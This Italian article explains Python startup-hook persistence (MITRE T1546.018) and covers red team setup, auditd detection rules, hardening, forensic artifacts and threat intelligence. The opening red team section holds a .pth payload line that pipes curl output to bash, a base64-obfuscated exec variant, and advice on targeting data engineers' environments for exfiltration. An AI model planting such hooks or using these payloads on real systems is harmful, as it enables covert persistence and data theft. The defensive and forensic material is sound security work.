Persistenza via Python: Python Startup Hooks (T1546.018)

L'esercizio red team su T1546.018 parte dall'enumerazione delle directory Python scrivibili. Su Linux il comando python3 -c "import site; print(site.getsitepackages(), site.getusersitepackages())" restituisce i percorsi validi. Il target ideale è quello dove l'utente corrente ha permessi di scrittura senza sudo, tipicamente ~/.local/lib/python3.x/site-packages/ per persistenza user-scope, oppure /usr/lib/python3/dist-packages/ per persistenza system-wide se si dispone di privilegi elevati.

Il payload più elegante è un file .pth. Basta creare un file con nome arbitrario (es. zzz_config.pth) contenente una singola riga:

import os; os.system("curl /beacon | bash")

Attenzione: la riga deve iniziare letteralmente con import e stare su una singola linea, altrimenti il parser di site.py la ignora. Una variante più stealth usa import sys; exec(__import__('base64').b64decode('...')) per offuscare il payload.

L'alternativa sitecustomize.py consente codice Python completo. Il file va collocato in una directory presente in sys.path e viene importato prima di qualsiasi script utente. Su distribuzioni Debian/Ubuntu il file è già presente in /usr/lib/python3/dist-packages/ e va patchato piuttosto che sostituito, per evitare la rottura di funzionalità legittime.

Per laboratori didattici, i seguenti tool sono utili:

• Atomic Red Team (open source): la suite di Red Canary include test per persistence tramite interpreti scriptabili.
• PurpleSharp (open source): utile per orchestrare la sequenza attacco-detection.
• Sysmon for Linux (open source): fondamentale per validare la telemetria lato blue team.

Una catena d'attacco realistica combina T1546.018 con T1059.006 (Python) per esecuzione iniziale e T1071.001 per il C2. Il trigger avviene quando l'interprete è invocato da: cron job schedulati (/etc/cron.d/), hook Git pre-commit, script di deploy Ansible, virtualenv attivati in sessioni SSH, container che eseguono entrypoint Python.

Per massimizzare l'impatto in un engagement, verificare la presenza di pyenv o conda: ogni environment ha il proprio site-packages e ognuno rappresenta un vettore di persistenza indipendente. Un payload piazzato nel site-packages di un environment usato da un data engineer con accesso a data lake produce esfiltrazione a ogni notebook Jupyter aperto.

La detection di T1546.018 richiede correlazione tra eventi filesystem e telemetria di processo, come descritto in DET0258. La regola cardine è: qualsiasi scrittura o creazione di file con pattern *.pth, sitecustomize.py o usercustomize.py nelle directory site-packages, dist-packages o nel percorso user site deve generare un alert prioritario.

Su Linux la fonte principale è auditd. Una regola efficace monitora write syscall verso i path Python:

-w /usr/lib/python3/dist-packages/ -p wa -k python_persistence -w /usr/local/lib/python3./site-packages/ -p wa -k python_persistence*

Gli eventi auditd:SYSCALL e auditd:PATH consentono di identificare l'utente e il processo autore della modifica. Il segnale forte emerge quando l'autore non è un package manager legittimo (apt, dpkg, pip, poetry, pipenv): scritture originate da shell interattive, script utente o processi web-facing sono altamente sospette.

Il secondo layer di detection è comportamentale. L'esecuzione di python3 o python seguita, entro pochi millisecondi dall'avvio, da child process anomali (bash, sh, curl, wget, nc) o connessioni di rete verso destinazioni esterne è un pattern distintivo. La correlazione, come raccomandato dal tuning di DET0258, va fatta in una finestra di 2-5 minuti tra modifica del file hook ed esecuzione dell'interprete.

Le fonti da correlare:

• auditd:SYSCALL e auditd:PATH per la creazione/modifica dei file hook
• auditd:CONFIG_CHANGE per modifiche ai path di configurazione
• NSM:Flow (Zeek open source, o Suricata open source) per connessioni uscenti da processi Python
• Sysmon for Linux (open source) per ProcessCreate e FileCreate con parent-child chain

Per ridurre i falsi positivi occorre whitelisting rigoroso: le installazioni via pip install, apt install python3-, deploy Ansible/Chef e build CI/CD generano scritture legittime. Il tuning suggerito da DET0258 raccomanda di filtrare per contesto utente (alert su non-root e service account interattivi), restringere le path patterns al proprio parco distribuzioni e mantenere una whitelist di interpreter execution note.

A livello preventivo, controlli di hardening includono: file integrity monitoring con AIDE (open source) o Wazuh (open source) sulle directory Python; permessi restrittivi sui site-packages di sistema (root-owned, 755); isolamento degli environment applicativi in container con filesystem read-only per le librerie; disabilitazione di usercustomize.py tramite flag python -s nei servizi di produzione, che disabilita il caricamento del user site directory.

L'analisi forense di T1546.018 si concentra su tre categorie di artefatti: file hook sul filesystem, tracce di esecuzione dell'interprete, evidenze di rete.

Il primo passo è l'enumerazione completa dei file hook. Su un'immagine acquisita, il comando find / -name ".pth" -o -name "sitecustomize.py" -o -name "usercustomize.py" 2>/dev/null* restituisce l'inventario. Ogni file va confrontato con il baseline della distribuzione: i pacchetti Debian/Ubuntu forniscono .pth legittimi (es. distutils-precedence.pth), e la verifica va fatta con dpkg -S per confermare l'appartenenza a un pacchetto ufficiale. File .pth non tracciati da alcun package manager sono candidati primari.

Gli attributi filesystem forniscono la timeline. I timestamp MAC (Modified, Accessed, Changed) sono estraibili con stat o via Sleuth Kit (open source) tramite fls e istat sull'immagine. Il campo ctime è particolarmente rilevante perché non modificabile con touch -t standard. La correlazione con last, wtmp e auth.log permette di associare la creazione del file a una sessione utente specifica.

Gli artefatti chiave da preservare:

• Contenuto dei file .pth, sitecustomize.py, usercustomize.py in tutte le directory di sys.path
• Log auditd archiviati (/var/log/audit/audit.log*)
• Journal systemd (journalctl --since) per invocazioni di python*
• Cronologia bash (.bash_history) e file .python_history degli utenti
• Cache dei bytecode __pycache__/ che rivela quando un modulo è stato compilato per la prima volta

La cache pycache merita attenzione: i file .pyc contengono un timestamp di compilazione nell'header (magic number + mtime del sorgente), utile per stabilire quando l'hook è stato eseguito per la prima volta dall'interprete. Il tool uncompyle6 o decompyle3 (open source) consente di ricostruire il sorgente da bytecode se l'attaccante ha rimosso il .py originale lasciando il .pyc.

Per l'analisi di rete, i log NSM:Flow conservati (Zeek conn.log, NetFlow) permettono di ricostruire i beacon originati dall'interprete. La correlazione tra ProcessCreate di python e connessioni uscenti verso IP non nella baseline aziendale identifica il C2.

In ambienti containerizzati l'analisi si estende alle immagini Docker: il comando docker history e l'ispezione dei layer con dive (open source) rivelano se il file hook è stato introdotto in fase di build (compromissione supply chain) o iniettato a runtime tramite docker cp o volume mount, distinzione fondamentale per determinare vettore iniziale e portata dell'incidente.

I dati MITRE ATT&CK per T1546.018 non riportano gruppi APT, software o campagne formalmente attribuiti a questa specifica sotto-tecnica. L'assenza di attribuzione documentata riflette due dinamiche rilevanti per un threat intelligence officer.

La prima è la giovinezza della sotto-tecnica nel framework: Python Startup Hooks è stata formalizzata come sotto-tecnica di T1546 (Event Triggered Execution) solo di recente, e il ciclo di raccolta, validazione e attribuzione richiede tempo prima che campagne osservate vengano mappate ufficialmente. Molte compromissioni che sfruttano meccanismi Python sono attualmente classificate sotto tecniche più generali come T1059.006 (Python) per l'esecuzione o T1546 parent per la persistenza generica.

La seconda dinamica è la natura del vettore. La persistenza tramite hook Python è particolarmente adatta a contesti dove l'interprete è centrale: pipeline DevOps, ambienti MLOps e data science, infrastrutture di automazione Ansible/SaltStack, sistemi di CI/CD, server web basati su framework Python (Django, Flask, FastAPI). Il valore intelligence sta nel profilare quali settori sono esposti: hyperscaler cloud, aziende fintech con quant desk basati su Python, laboratori di ricerca AI, provider SaaS.

A livello di trend, si osservano segnali indiretti dall'ecosistema minaccia:

• Attacchi supply chain su PyPI (typosquatting, dependency confusion, package hijacking): pacchetti malevoli spesso includono payload in setup.py che, oltre all'esecuzione immediata, piazzano file .pth per persistenza a lungo termine.
• Compromissioni di ambienti Jupyter esposti: notebook server con autenticazione debole vengono usati come vettore per installare hook persistenti nei kernel Python.
• Targeting di runner CI/CD self-hosted: la persistenza in site-packages del runner sopravvive a job successivi ed espone secret di più repository.

Per un programma di threat intelligence maturo, la raccomandazione è alimentare il monitoraggio proattivo con feed che coprano: pubblicazioni di IOC su PyPI (advisory di PyPI Safety DB open source, OSV open source di Google, Snyk Vulnerability DB freemium), scanning dei propri artefatti con pip-audit (open source) e Safety (freemium), e sottoscrizione a report di vendor che monitorano campagne di package poisoning come Sonatype, Phylum e Socket (tutti freemium con tier enterprise a pagamento).

In assenza di attribuzione formale, l'approccio corretto è threat modeling per rilevanza: se l'organizzazione usa Python in produzione o in supply chain di sviluppo, T1546.018 deve entrare nel top-tier delle tecniche monitorate indipendentemente dal fatto che sia stata ancora legata a un actor specifico.

MITRE ATT&CK: tecnica T1546.018 (Python Startup Hooks), tattiche TA0003 (Persistence) e TA0004 (Privilege Escalation), detection strategy DET0258 con analytic AN0713. Il contenuto operativo su comandi, tool (Sysmon for Linux, Wazuh, AIDE, Sleuth Kit, Atomic Red Team, pip-audit, Zeek, Suricata) e artefatti forensi integra la conoscenza professionale in cybersecurity dell'autore, con riferimento alla documentazione ufficiale dei rispettivi progetti e al modulo site della standard library Python.